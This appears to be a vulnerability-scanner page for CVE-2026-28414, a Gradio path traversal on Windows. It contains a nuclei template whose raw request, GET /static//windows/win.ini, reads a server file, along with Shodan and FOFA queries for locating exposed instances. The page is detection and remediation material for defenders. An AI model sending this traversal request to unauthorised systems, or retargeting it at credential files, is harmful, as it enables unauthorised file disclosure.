Gradio - Absolute Path Traversal

highseverity

7.5CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Gradio < 6.7 on Windows with Python 3.13+ contains an absolute path traversal caused by incorrect path validation in path joining logic, letting unauthenticated attackers read arbitrary files from the server.

Impact

Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.

Fix

Upgrade to version 6.7 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_all(to_lower(body), "window.gradio_config", "__gradio_mode__")
Send: GET /static//windows/win.ini
Positive when: status_code == 200 and contains(content_type, "text/plain") and contains_all(to_lower(body), "[fonts]", "[extensions]")

Run it with nuclei: nuclei -id CVE-2026-28414 -u <target>

The full check

id: CVE-2026-28414

info:
  name: Gradio - Absolute Path Traversal
  author: 0x_Akoko
  severity: high
  description: |
   Gradio < 6.7 on Windows with Python 3.13+ contains an absolute path traversal caused by incorrect path validation in path joining logic, letting unauthenticated attackers read arbitrary files from the server.
  impact: |
   Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
   Upgrade to version 6.7 or later.
  reference:
    - https://github.com/gradio-app/gradio/security/advisories/GHSA-39mp-8hj3-5c49
    - https://nvd.nist.gov/vuln/detail/CVE-2026-28414
  classification:
    cve-id: CVE-2026-28414
    epss-score: 0.03059
    epss-percentile: 0.87709
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-36
  metadata:
    verified: true
    max-request: 2
    vendor: gradio-app
    product: gradio
    shodan-query: 'http.title:"Gradio"'
    fofa-query: 'title="Gradio" || body="gradio-app"'
  tags: cve,cve2026,gradio,lfi,traversal,unauth,windows,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "window.gradio_config", "__gradio_mode__")'
        condition: and

  - raw:
      - |
        GET /static//windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/plain")'
          - 'contains_all(to_lower(body), "[fonts]", "[extensions]")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from